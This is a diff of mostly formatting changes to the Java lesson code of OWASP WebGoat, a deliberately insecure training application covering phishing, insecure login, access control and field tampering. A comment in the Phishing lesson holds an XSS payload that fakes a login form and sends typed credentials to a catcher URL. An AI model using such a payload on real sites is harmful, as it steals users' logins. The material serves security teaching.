ec.addElement("<script src='javascript/eval.js'> </script>");
//<script src='javascript/sameOrigin.js' language='JavaScript'></script>
// <script src='javascript/sameOrigin.js' language='JavaScript'></script>
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
@ -203,7 +202,7 @@ public class DangerousEval extends LessonAdapter
ec.addElement(t);
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());

View File

@ -66,11 +66,11 @@ public class DeleteProfile extends DefaultLessonAction
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue2.printStackTrace();
}
}

View File

@ -95,8 +95,8 @@ public class EditProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{

View File

@ -69,11 +69,11 @@ public class FindProfile extends DefaultLessonAction
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue2.printStackTrace();
}
}
@ -139,8 +139,8 @@ public class FindProfile extends DefaultLessonAction
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/
setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer.toString(id));
}

View File

@ -220,29 +220,29 @@ public class GoatHillsFinancial extends RandomLessonAdapter
}
} catch (ParameterNotFoundException pnfe)
{
//System.out.println("Missing parameter");
// System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve)
{
//System.out.println("Validation failed");
// System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
//System.out.println("Authentication failure");
// System.out.println("Authentication failure");
ue.printStackTrace();
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
//System.out.println("Authorization failure");
// System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace();
} catch (Exception e)
{
// All other errors send the user to the generic error page
//System.out.println("handleRequest() error");
// System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}

View File

@ -75,11 +75,11 @@ public class Login extends DefaultLessonAction
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue2.printStackTrace();
}
}

View File

@ -58,11 +58,11 @@ public class Logout extends DefaultLessonAction
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue2.printStackTrace();
}

View File

@ -94,11 +94,11 @@ public class UpdateProfile extends DefaultLessonAction
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue2.printStackTrace();
}
}

View File

@ -104,8 +104,8 @@ public class ViewProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{

View File

@ -68,7 +68,7 @@ public class HiddenFieldTampering extends LessonAdapter
private final static String PRICE_TV_HACKED = "9.99";
String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any
// interesting exploit!
// interesting exploit!
Pattern pattern1 = Pattern.compile(regex);
String lineSep = System.getProperty("line.separator");
String script = "<SCRIPT>" + lineSep + "regex=/" + regex + "/;" + "function validate() { " + lineSep

View File

@ -294,8 +294,8 @@ public class HttpOnly extends LessonAdapter
t.addElement(tr);
/*
* tr.addElement(new TD(new StringElement("<strong>Status:</strong> " )));
* t.addElement(tr); if(httpOnly == true) { tr.addElement(new TD(new StringElement("<div
* tr.addElement(new TD(new StringElement("<strong>Status:</strong> " ))); t.addElement(tr);
* if(httpOnly == true) { tr.addElement(new TD(new StringElement("<div
* id=\"status\">On</div>"))); } else { tr.addElement(new TD(new StringElement ("<div
* id=\"status\">Off</div>"))); } t.addElement(tr); t.addElement(new TR(new TD(new
* StringElement("<br/>"))));

View File

@ -6,7 +6,6 @@ import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -24,10 +23,9 @@ import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
public class InsecureLogin extends SequentialLessonAdapter
{
private final static String USER = "clear_user";
private final static String PASSWORD = "clear_pass";
private final static String ANSWER = "clear_answer";
@ -45,33 +43,36 @@ public class InsecureLogin extends SequentialLessonAdapter
{
return super.createStagedContent(s);
}
@Override
protected Element doStage1(WebSession s) throws Exception {
String answer = s.getParser().getStringParameter(ANSWER,"");
protected Element doStage1(WebSession s) throws Exception
{
String answer = s.getParser().getStringParameter(ANSWER, "");
if (answer.equals("sniffy"))
{
s.setMessage("You completed Stage 1!");
getLessonTracker(s).setStage(2);
}
return createMainContent(s);
return createMainContent(s);
}
@Override
protected Element doStage2(WebSession s) throws Exception {
String protocol = s.getParser().getStringParameter(PROTOCOL,"");
String yesno = s.getParser().getStringParameter(YESNO,"");
if(yesno.equals("No") && protocol.equals("TLS"))
protected Element doStage2(WebSession s) throws Exception
{
String protocol = s.getParser().getStringParameter(PROTOCOL, "");
String yesno = s.getParser().getStringParameter(YESNO, "");
if (yesno.equals("No") && protocol.equals("TLS"))
{
makeSuccess(s);
}
return createMainContent(s);
}
/**
* Creation of the main content
*
* @param s
* @return Element
*/
@ -83,7 +84,8 @@ public class InsecureLogin extends SequentialLessonAdapter
{
style sty = new style();
sty.addElement("#lesson_wrapper {height: 435px;width: 500px;}#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} .lesson_text {height: 240px;width: 460px;padding-top: 5px;} #lesson_buttons_bottom {height: 20px;width: 460px;} #lesson_b_b_left {width: 300px;float: left;} #lesson_b_b_right input {width: 100px;float: right;} .lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} .lesson_workspace { } .lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} .lesson_text_db {color: #0066FF} #lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} #lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}");
sty
.addElement("#lesson_wrapper {height: 435px;width: 500px;}#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} .lesson_text {height: 240px;width: 460px;padding-top: 5px;} #lesson_buttons_bottom {height: 20px;width: 460px;} #lesson_b_b_left {width: 300px;float: left;} #lesson_b_b_right input {width: 100px;float: right;} .lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} .lesson_workspace { } .lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} .lesson_text_db {color: #0066FF} #lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} #lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}");
ec.addElement(sty);
Div wrapperDiv = new Div();
@ -99,10 +101,10 @@ public class InsecureLogin extends SequentialLessonAdapter
wrapperDiv.addElement(workspaceDiv);
ec.addElement(wrapperDiv);
String user = s.getParser().getStringParameter(USER, "");
String password = s.getParser().getStringParameter(PASSWORD, "");
if(!(user+password).equals("") && correctLogin(user, password, s))
if (!(user + password).equals("") && correctLogin(user, password, s))
{
workspaceDiv.addElement(createSuccessfulLoginContent(s, user));
}
@ -118,16 +120,18 @@ public class InsecureLogin extends SequentialLessonAdapter
return (ec);
}
/**
* Create content for logging in
*
* @param ec
*/
private Element createLogInContent() {
private Element createLogInContent()
{
ElementContainer ec = new ElementContainer();
Div loginDiv = new Div();
loginDiv.setID("lesson_login");
Table table = new Table();
table.addAttribute("align='center'", 0);
TR tr1 = new TR();
@ -146,7 +150,6 @@ public class InsecureLogin extends SequentialLessonAdapter
tr2.addElement(td3);
tr2.addElement(td4);
TR tr3 = new TR();
TD td5 = new TD();
td5.setColSpan(2);
@ -163,9 +166,6 @@ public class InsecureLogin extends SequentialLessonAdapter
return ec;
}
/**
* Gets the category attribute of the ForgotPassword object
@ -187,16 +187,11 @@ public class InsecureLogin extends SequentialLessonAdapter
{
List<String> hints = new ArrayList<String>();
hints.add("Stage 1: Use a sniffer to record " +
"the traffic");
hints.add("Stage 1: Use a sniffer to record " + "the traffic");
hints.add("Stage 1: What Protocol does the request use?");
hints.add("Stage 1: What kind of request is started when " +
"you click on the button?");
hints.add("Stage 1: Take a closer look at the HTTP Post request in " +
"your sniffer");
hints.add("Stage 1: What kind of request is started when " + "you click on the button?");
hints.add("Stage 1: Take a closer look at the HTTP Post request in " + "your sniffer");
hints.add("Stage 1: The password field has the name clear_pass");
return hints;
}
@ -217,31 +212,28 @@ public class InsecureLogin extends SequentialLessonAdapter
{
return ("Insecure Login");
}
@Override
public String getInstructions(WebSession s) {
public String getInstructions(WebSession s)
{
int stage = getLessonTracker(s).getStage();
String instructions = "";
instructions = "<b>For this lesson you need to " +
"have a server client setup. Please refer to the" +
"Tomcat Configuration in the Introduction section.</b><br><br> Stage" +
stage + ": ";
instructions = "<b>For this lesson you need to " + "have a server client setup. Please refer to the"
+ "Tomcat Configuration in the Introduction section.</b><br><br> Stage" + stage + ": ";
if (stage == 1)
{
instructions += "In this stage you have to sniff the " +
"password. And answer the question after the login.";
instructions += "In this stage you have to sniff the "
+ "password. And answer the question after the login.";
}
if (stage == 2)
{
instructions += "Now you have to change to a secure " +
"connection. The URL should start with https:// " +
"If your browser is complaining about the certificate just " +
"ignore it. Sniff again the traffic and answer the" +
" questions";
instructions += "Now you have to change to a secure " + "connection. The URL should start with https:// "
+ "If your browser is complaining about the certificate just "
+ "ignore it. Sniff again the traffic and answer the" + " questions";
}
return instructions;
}
/**
* See if the password and corresponding user is valid
*
@ -273,8 +265,7 @@ public class InsecureLogin extends SequentialLessonAdapter
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
try
{
@ -282,8 +273,7 @@ public class InsecureLogin extends SequentialLessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -292,7 +282,7 @@ public class InsecureLogin extends SequentialLessonAdapter
return false;
}
/**
* Create content after a successful login
*
@ -302,7 +292,7 @@ public class InsecureLogin extends SequentialLessonAdapter
private Element createSuccessfulLoginContent(WebSession s, String user)
{
ElementContainer ec = new ElementContainer();
String userDataStyle = "margin-top:50px;";
Div userDataDiv = new Div();
@ -348,9 +338,9 @@ public class InsecureLogin extends SequentialLessonAdapter
userDataDiv.addElement(table);
ec.addElement(userDataDiv);
ec.addElement(createLogoutLink());
int stage = getLessonTracker(s).getStage();
if(stage == 1)
if (stage == 1)
{
ec.addElement(createPlaintextQuestionContent());
}
@ -358,11 +348,10 @@ public class InsecureLogin extends SequentialLessonAdapter
{
ec.addElement(createSSLQuestionContent());
}
return ec;
}
private Element createPlaintextQuestionContent()
{
ElementContainer ec = new ElementContainer();
@ -372,11 +361,11 @@ public class InsecureLogin extends SequentialLessonAdapter
div.addElement(new BR());
div.addElement("What was the password?");
div.addElement(new Input(Input.TEXT, ANSWER));
div.addElement(new Input(Input.SUBMIT, "Submit", "Submit"));
div.addElement(new Input(Input.SUBMIT, "Submit", "Submit"));
ec.addElement(div);
return ec;
}
private Element createSSLQuestionContent()
{
ElementContainer ec = new ElementContainer();
@ -393,12 +382,12 @@ public class InsecureLogin extends SequentialLessonAdapter
tr2.addElement(td4);
selectTable.addElement(tr1);
selectTable.addElement(tr2);
Div div = new Div();
div.addAttribute("align", "center");
ec.addElement(new BR());
ec.addElement(new BR());
td1.addElement("Is the password still transmited in plaintext?");
Select yesNoSelect = new Select();
yesNoSelect.setName(YESNO);
@ -409,7 +398,7 @@ public class InsecureLogin extends SequentialLessonAdapter
yesNoSelect.addElement(yesOption);
yesNoSelect.addElement(noOption);
td2.addElement(yesNoSelect);
td3.addElement("Which protocol is used for the transmission?");
Select protocolSelect = new Select();
protocolSelect.setName(PROTOCOL);
@ -430,14 +419,13 @@ public class InsecureLogin extends SequentialLessonAdapter
protocolSelect.addElement(tlsOption);
td4.addElement(protocolSelect);
div.addElement(selectTable);
div.addElement(new Input(Input.SUBMIT, "Submit", "Submit"));
div.addElement(new Input(Input.SUBMIT, "Submit", "Submit"));
ec.addElement(div);
return ec;
}
/**
* Get a user by its name
*
@ -463,8 +451,7 @@ public class InsecureLogin extends SequentialLessonAdapter
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
try
{
@ -472,8 +459,7 @@ public class InsecureLogin extends SequentialLessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -481,7 +467,7 @@ public class InsecureLogin extends SequentialLessonAdapter
return null;
}
/**
* Create a link for logging out
*
@ -501,7 +487,7 @@ public class InsecureLogin extends SequentialLessonAdapter
return logoutDiv;
}
public Element getCredits()
{
return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement(""));

View File

@ -77,7 +77,7 @@ public class JavaScriptValidation extends LessonAdapter
String regex2 = "^[0-9]{3}$";// any three digits
String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation
String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of
// numbers
// numbers
String regex5 = "^\\d{5}$";// simple zip code
String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four
String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";// US phone number with or without dashes

View File

@ -144,8 +144,6 @@ public abstract class LessonAdapter extends AbstractLesson
return hints;
}
/**
* Gets the credits attribute of the AbstractLesson object
*

View File

@ -143,26 +143,26 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
style sty = new style();
sty
.addElement("#lesson_wrapper {height: 435px;width: " +
"500px;}#lesson_header {background-image: " +
"url(lessons/DBSQLInjection/images/lesson1_header.jpg);width:" +
" 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace " +
"{background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: " +
"325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} " +
".lesson_text {height: 240px;width: 460px;padding-top: 5px;} " +
"#lesson_buttons_bottom {height: 20px;width: 460px;} " +
"#lesson_b_b_left {width: 300px;float: left;} " +
"#lesson_b_b_right input {width: 100px;float: right;} " +
".lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} " +
".lesson_workspace { } " +
".lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} " +
".lesson_text_db {color: #0066FF} " +
"#lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: " +
"124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top:" +
" 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: " +
"12px;text-align: center;} #lesson_search {background-image: " +
"url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: " +
"no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}");
.addElement("#lesson_wrapper {height: 435px;width: "
+ "500px;}#lesson_header {background-image: "
+ "url(lessons/DBSQLInjection/images/lesson1_header.jpg);width:"
+ " 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace "
+ "{background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: "
+ "325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} "
+ ".lesson_text {height: 240px;width: 460px;padding-top: 5px;} "
+ "#lesson_buttons_bottom {height: 20px;width: 460px;} "
+ "#lesson_b_b_left {width: 300px;float: left;} "
+ "#lesson_b_b_right input {width: 100px;float: right;} "
+ ".lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} "
+ ".lesson_workspace { } "
+ ".lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} "
+ ".lesson_text_db {color: #0066FF} "
+ "#lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: "
+ "124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top:"
+ " 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: "
+ "12px;text-align: center;} #lesson_search {background-image: "
+ "url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: "
+ "no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}");
ec.addElement(sty);
Div wrapperDiv = new Div();
@ -485,7 +485,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
private void updateTan(String user, WebSession s)
{
int tanNr = getTanPosition(user, s);
Connection connection = null;
try
@ -501,8 +501,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
try
{
@ -510,8 +509,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -538,8 +536,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
try
{
@ -547,8 +544,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -594,8 +590,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
try
{
@ -603,8 +598,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -638,8 +632,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
try
{
@ -647,8 +640,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -692,7 +684,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
} catch (Exception e)
{
e.printStackTrace();
} finally
} finally
{
try
{
@ -700,8 +692,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -740,8 +731,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
try
{
@ -749,8 +739,7 @@ public class MultiLevelLogin1 extends SequentialLessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}

View File

@ -70,7 +70,7 @@ public class MultiLevelLogin2 extends LessonAdapter
// needed to see if lesson was successfull
private final static String LOGGEDINUSER = "loggedInUser2";
//private String LoggedInUser = "";
// private String LoggedInUser = "";
/**
* See if the user is logged in
@ -502,8 +502,7 @@ public class MultiLevelLogin2 extends LessonAdapter
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
try
{
@ -511,8 +510,7 @@ public class MultiLevelLogin2 extends LessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -545,8 +543,7 @@ public class MultiLevelLogin2 extends LessonAdapter
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
try
{
@ -554,8 +551,7 @@ public class MultiLevelLogin2 extends LessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -583,8 +579,7 @@ public class MultiLevelLogin2 extends LessonAdapter
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
try
{
@ -592,8 +587,7 @@ public class MultiLevelLogin2 extends LessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -634,8 +628,7 @@ public class MultiLevelLogin2 extends LessonAdapter
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
try
{
@ -643,8 +636,7 @@ public class MultiLevelLogin2 extends LessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -678,7 +670,7 @@ public class MultiLevelLogin2 extends LessonAdapter
if ((results != null) && (results.first() == true))
{
//System.out.println(results.getString("tanValue"));
// System.out.println(results.getString("tanValue"));
return results.getString("tanValue");
}
@ -686,8 +678,7 @@ public class MultiLevelLogin2 extends LessonAdapter
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
try
{
@ -695,8 +686,7 @@ public class MultiLevelLogin2 extends LessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -749,8 +739,7 @@ public class MultiLevelLogin2 extends LessonAdapter
} catch (Exception e)
{
e.printStackTrace();
}
finally
} finally
{
try
{
@ -758,8 +747,7 @@ public class MultiLevelLogin2 extends LessonAdapter
{
connection.close();
}
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}

View File

@ -226,12 +226,12 @@ public class Phishing extends LessonAdapter
* password<script>function hack(){ alert("Had this been a real attack... Your credentials
* were just stolen.\nUser Name = " + document.forms[0].user.value + "\nPassword = " +
* document.forms[0].pass.value); XSSImage=new Image;
* XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value +
* "&password=" + document.forms[0].pass.value + "";}</script><form><br>
* XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="
* +document.forms[0].user.value + "&password=" + document.forms[0].pass.value +
* "";}</script><form><br>
* <br>
* <HR>
* <H3>This feature requires account login:</H2>
* <br>
* <H3>This feature requires account login:</H2> <br>
* <br>
* Enter Username:<br>
* <input type="text" id="user" name="user"><br>

View File

@ -85,7 +85,8 @@ public class RemoteAdminFlaw extends LessonAdapter
List<String> hints = new ArrayList<String>();
hints.add("WebGoat has 2 admin interfaces.");
hints.add("WebGoat has one admin interface that is controlled via a URL parameter and is 'hackable'");
hints.add("WebGoat has one admin interface that is controlled via server side security constraints and should not be 'hackable'");
hints
.add("WebGoat has one admin interface that is controlled via server side security constraints and should not be 'hackable'");
hints.add("Follow the Source!");
hints.add("On success you will see new submenu items in the menupoint 'Admin Functions'");

View File

@ -69,11 +69,11 @@ public class DeleteProfile extends DefaultLessonAction
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
//System.out.println("Internal server error");
// System.out.println("Internal server error");
ue2.printStackTrace();
}
}

View File

@ -97,8 +97,8 @@ public class EditProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
@ -145,8 +145,8 @@ public class EditProfile extends DefaultLessonAction
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
* System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{

View File

@ -93,7 +93,6 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
return Category.ACCESS_CONTROL;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
@ -111,19 +110,16 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
hints.add("Stage1: How does the application know that the user selected the delete function?");
hints.add("Stage2: You have to code to check the authorization of the user for the action.");
hints.add("Stage2: You have to code to check the authorization of the user for the action.");
// Stage 2
// Stage 3
hints.add("Stage3: How does the application know that the user selected any particular employee to view?");
// Stage 4
hints.add("Stage4: You have to code to check the authorization of the user for the action on a certain employee.");
hints
.add("Stage4: You have to code to check the authorization of the user for the action on a certain employee.");
return hints;
}
@ -155,8 +151,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
}
else if (STAGE2.equals(stage))
{
instructions ="Stage 2: Add Business Layer Access Control.<br><br/>" +
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
instructions = "Stage 2: Add Business Layer Access Control.<br><br/>"
+ "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "Implement a fix to deny unauthorized access to the Delete function. "
+ "Repeat stage 1. Verify that access to Delete is properly denied.<br/>"
+ "To do this you have to alter code.";
@ -168,8 +164,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
}
else if (STAGE4.equals(stage))
{
instructions = "Stage 4: Add Data Layer Access Control.<br><br/>" +
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
instructions = "Stage 4: Add Data Layer Access Control.<br><br/>"
+ "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "Implement a fix to deny unauthorized access to this data. "
+ "Repeat stage 3. Verify that access to other employee's profiles is properly denied.";
}
@ -177,21 +173,24 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
return instructions;
}
public String getLessonSolutionFileName(WebSession s) {
public String getLessonSolutionFileName(WebSession s)
{
String solutionFileName = null;
String stage = getStage(s);
solutionFileName = "/lesson_solutions/Lab Access Control/Lab " + stage + ".html";
return solutionFileName;
}
@Override
public String getSolution(WebSession s) {
public String getSolution(WebSession s)
{
String src = null;
try
{
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), false);
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))),
false);
} catch (IOException e)
{
s.setMessage("Could not find the solution file");
@ -233,11 +232,9 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
}
else
{
//***************CODE HERE*************************
//*************************************************
// ***************CODE HERE*************************
// *************************************************
if (action.isAuthenticated(s))
{
action.handleRequest(s);
@ -250,18 +247,18 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
setCurrentAction(s, ERROR_ACTION);
} catch (ParameterNotFoundException pnfe)
{
//System.out.println("Missing parameter");
// System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve)
{
//System.out.println("Validation failed");
// System.out.println("Validation failed");
ve.printStackTrace();
